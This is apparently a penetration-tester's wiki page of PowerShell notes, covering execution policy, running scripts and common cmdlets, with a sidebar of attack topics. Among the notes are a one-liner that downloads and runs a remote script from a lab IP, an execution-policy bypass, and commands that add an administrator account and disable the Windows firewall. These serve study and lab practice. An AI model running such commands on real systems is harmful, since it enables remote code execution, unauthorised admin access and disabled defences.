Skip to content

PowerShell

lethanhtung01011980 edited this page Apr 23, 2020 · 27 revisions

Goals

  • To learn Powershell

Ref

Directory

  • Win2012: (64 bit) C:\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe

ExecutionPolicy

  • Allow to run remote signed: set-ExecutionPolicy RemoteSigned
  • Bypass and run PS: CMD > powershell -nologo -executionpolicy bypass -file test.ps1 image

Run using powershell 64 bit

  • %SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe
  • %SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/39719.ps1')"

Download file

Run

  • .\FirstScript.ps1
  • & "X:\FirstScript.ps1"
  • 'cmd > powershell.exe > .\FirstScript.ps1'
  • In cmd, powershell.exe .\hello.ps1

Run CMD in PowerShell

  • PS > "dir" | cmd
  • "net user newuser2 Password123 /add" | cmd
  • "net localgroup administrators newuser2 /add" | cmd
  • "netsh advfirewall set allprofiles state off" | cmd

Editor

image

Common commands

Ref: https://www.guru99.com/powershell-tutorial.html

  • Create folder: New-Item -Path 'X:\Guru99' -ItemType Directory
  • Echo: Write-Host "Hello, Kevin"
  • Create file: New-Item "D:\hello2.ps1" -ItemType File
  • Write to file: Set-Content "D:\hello2.ps1" 'Welcome to TutorialsPoint'
  • Read from file: Get-Content "D:\hello2.ps1"
  • Get current location: Get-Location

Invoke a command

  • $Command = 'Get-Process'
  • Invoke-Expression $Command
  • IEX $Command

Tutorial

Sidebar

0. COMMON exploits

1. Scan Info

1.2 Passive Gathering

1.3 Active Gathering

2. Pre-attack

2.2 File transfer

3. Get Reverse Shell

4. Exploits

4.2 Windows Exploits

4.3 Linux Exploits

4.4 Password crack

4.5 Buffer Overflow

4.6 Web attacks

6. Escalate Privilege

6.1 Escalate in Windows

6.2 Escalate in Linux

7. Access and further attacks

8. Port redirection and Tunnelling

9. Metasploit

10. Kali

11. Thirdparty scripts

Clone this wiki locally